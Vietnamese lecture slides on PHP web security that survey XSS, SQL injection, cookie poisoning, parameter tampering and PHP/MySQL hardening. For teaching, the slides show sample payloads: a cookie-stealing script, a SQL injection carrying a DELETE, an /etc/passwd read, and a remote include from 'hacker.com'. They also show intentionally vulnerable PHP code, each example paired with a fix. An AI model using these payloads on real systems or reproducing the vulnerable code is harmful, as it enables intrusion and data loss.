Bài giảng Thiết kế và lập trình Web - Bài: 10 PHP bảo mật
Thiết kế và lập trình Web
Bꢀi 10
PHP bảo mật
Viện CNTT & TT
Thiết kế và lập trình Web
Các Dạng Tấn Công
. DoS, DDoS
Thiết kế và lập trình Web
Các Dạng Tấn Công
. Virus hacking
– Virus là chương trình (hay một đoạnh mã) có thể tự nhân
bản và gây rắc rối cho máy tính hay hệ điều hành
. Worms
. Applet lừa đảo (Rogue Applets)
. Đánh cắp thông tin thẻ tín dụng
. Đánh cắp thông tin cá nhân
. Ăn cắp thông tin
Thiết kế và lập trình Web
Các Nguy Cơ
Một số nguy cơ đe dọa ứng dụng Web:
. Hidden Manipulation
. Parameter Tampering (giả mạo tham số)
. Buffer Overflow (tràn bộ đệm)
. Cookie Poisoning
. SQL Injection
. …
Thiết kế và lập trình Web
Các Nguy Cơ
Hidden manipulation
. Mô tả: thay đổi các trường ẩn (hidden fields) của trang
web
. Ví dụ:
– <input name=“price” value=“99.00”>
– Sửa valuethành 9.9
. Giải pháp: mã hóa
Thiết kế và lập trình Web
Các Nguy Cơ
Parameter Tampering (giả mạo tham số)
. Mô tả: giả mạo hoặc thay đổi một số tham số trên
URL hay web form
. Ví dụ:
ProductID=15704&price=59.99
– Sửa pricethành 5.99
. Giải pháp: mã hóa, dùng HTTP Secure (https), kiểm
tra các tham số
Thiết kế và lập trình Web
Các Nguy Cơ
Cross-site Scripting (CSS)
– Mô tả: Chèn script độc vào trang web động
– Ví dụ:
• http://www.example.com/search.pl?text=<script>
alert(document.cookie)</script>
– Giải Pháp:
• Lọc các ký tự đặc biệt (special characters)
• Mã hóa
Thiết kế và lập trình Web
Các Nguy Cơ
Cookie Poisoning
. Mô tả: thay đổi các tham số, giá trị, … lưu trong cookie
. Ví dụ:
– Cookie gốc: SessionID=123456 ; Admin=no
– Cookie bị thay đổi: SessionID=123456 ; Admin=yes
. Giải pháp:
– Mã hóa, xác thực, dùng HTTPS
– Thêm IP của user
– Thêm số ngẫu nhiên
– …
Thiết kế và lập trình Web
Các Nguy Cơ
SQL Injection
. Mô tả: chèn code SQL vào trong câu lệnh SQL, thường
xảy ra ở nơi vốn chỉ dành để điền giá trị của các
parameter
. Ví dụ
– SELECT * FROM tbSales WHERE id = ‘@id’
– Chèn đoạn code SQL vào tham số @id:
100’; DELETE FROM tbOrders WHERE id = ‘1520
. Giải pháp: dùng stored procedure thay cho câu truy vấn
trực tiếp, lọc các ký tự đặc biệt, …
Thiết kế và lập trình Web
Một Số Lời Khuyên
. Luôn cập nhật kiến thức về virus và các nguy cơ
. Cập nhật thông tin về ngôn ngữ dùng để viết chương
trình
. Thiết kế các biện pháp bảo mật ngay từ đầu
. Kiểm thử code kỹ lưỡng
. Thường xuyên kiểm tra trang web với những kỹ thuật
hacking mới
. Dùng code-review để kiểm tra backdor do các lập trình
viên cố ý chèn vào
. …
Thiết kế và lập trình Web
An toàn PHP
. An toàn khi cài đặt PHP như là CGI
– Truy xuất file hệ thống
http://www.mydomain.com/cgibin/php?/etc/passwd
– Truy xuất các website khác cùng server
. Hạn chế bằng option doc_rootvà
user_dirtrong file php.ini
11
Thiết kế và lập trình Web
An toàn PHP
. Cấu hình PHP: đặt trong file php.ini
. display_errors = false
Tắt việc hiển thị thông báo lỗi của script
. open_basedir
Giới hạn các thư mục được phép mở file
. register_globals = off
Tắt việc tự động khai báo biến toàn cục
. disable_functions =
"exec,passthru,system,shell_exec,popen“
Tắt một số hàm nhạy cảm
. allow_url_fopen = off
12
Tắt việc mở file từ một URL
Thiết kế và lập trình Web
An toàn PHP
. Safe mode: thiết lập trong php.ini
. safe_mode = on / off
Bật/Tắt chế độ safemode
. safe_mode_gid
Yêu cầu userid của script PHP giống gid
hay uid của file khi open hay không?
. safe_mode_exec_dir
Cho phép thực hiện script PHP trong những
thư mục nào
13
Thiết kế và lập trình Web
An toàn MySQL
. Thiết lập file cấu hình của MySQL có chủ quyền là
root
. Thiết lập password riêng cho root và cấp các user
khác cho việc truy xuất MySQL với các quyền có
giới hạn
. Xóa database test
. Cấm sử dụng remote access
14
Thiết kế và lập trình Web
Mã hóa
. Mã hóa một chiều: md5, sha1
. Mã hóa đối xứng: sử dụng 1 khóa để mã hóa và
giải mã: IDEA, SAFER
. Mã hóa bất đối xứng: sử dụng 1 khóa (khóa công
khai) để mã hóa và dùng 1 khóa khác (khóa bí mật)
để giải mã: RSA
15
Thiết kế và lập trình Web
Lập trình thế nào để an toàn
.
Lỗ hổng của register_globals
<?php
if (isset($user) && $user == "admin" && $pass == "abcd")
$loggedin = 1;
if ($loggedin){
include("secretpage.html");
exit;
}
?>
<form method="get" action="<?php echo($PHP_SELF) ?>">
<input type="test" name="user">
<input type="password" name="pass">
<input type="submit" value="Login">
</form>
.
.
Login bình thường
16
Thiết kế và lập trình Web
Lập trình thế nào để an toàn
.
Kiểm tra dữ liệu input
<?php
if (isset($user) && $user == "admin" && $pass == "abcd")
$loggedin = 1;
if ($loggedin){
include("secretpage.html");
exit;
}
?>
<form method="get" action="<?php echo($PHP_SELF) ?>">
<input type="test" name="user">
<input type="password" name="pass">
<input type="submit" value="Login">
</form>
.
.
Login bình thường
Sử dụng pass là chuỗi "1 || 1 || 1"
17
Thiết kế và lập trình Web
Lập trình thế nào để an toàn
.
Lỗ hổng cross-site
<?php
if ($_GET['name'])
echo("Hello " . $_GET['name']);
?>
.
Sử dụng bình thường
.
Sử dụng URL
http://www.yourdomain.com/test.php?name=<script>Code</script>
<?php
if ($_GET['name'])
echo("Hello " . htmlspecialchars($_GET['name']));
?>
18
Thiết kế và lập trình Web
Lập trình thế nào để an toàn
.
Lỗ hổng include
<?php
include($_GET['page']);
?>
.
Sử dụng bình thường test.php?page=main.html
.
Sử dụng URL
test.php?page=http://hacker.com/attack.php
.
Thiết lập allow_url_fopen = off
<?php
$listpage = array(1=>'main.html');
include $listpage[intval($_GET[‘page'])];
?>
19
Thiết kế và lập trình Web
Đếm thời gian thực hiện
. Hàm time() tính số giây từ năm 1970: không
hữu ích vì một đoạn code có thời gian thực
hiện nhỏ hơn 1 giây
. Hàm microtime() trả về chuỗi "msec sec" là
miligiây và giây tính từ 1970
. Đổi thời gian thành số thực để tính toán
<?php
$tp = explode(' ', microtime());
$actualtime = $tp[1] . substr($tp[0], 1);
echo($actualtime);
20
?>
Tải về để xem bản đầy đủ
Bạn đang xem 20 trang mẫu của tài liệu "Bài giảng Thiết kế và lập trình Web - Bài: 10 PHP bảo mật", để tải tài liệu gốc về máy hãy click vào nút Download ở trên
File đính kèm:
bai_giang_thiet_ke_va_lap_trinh_web_bai_10_php_bao_mat.pdf

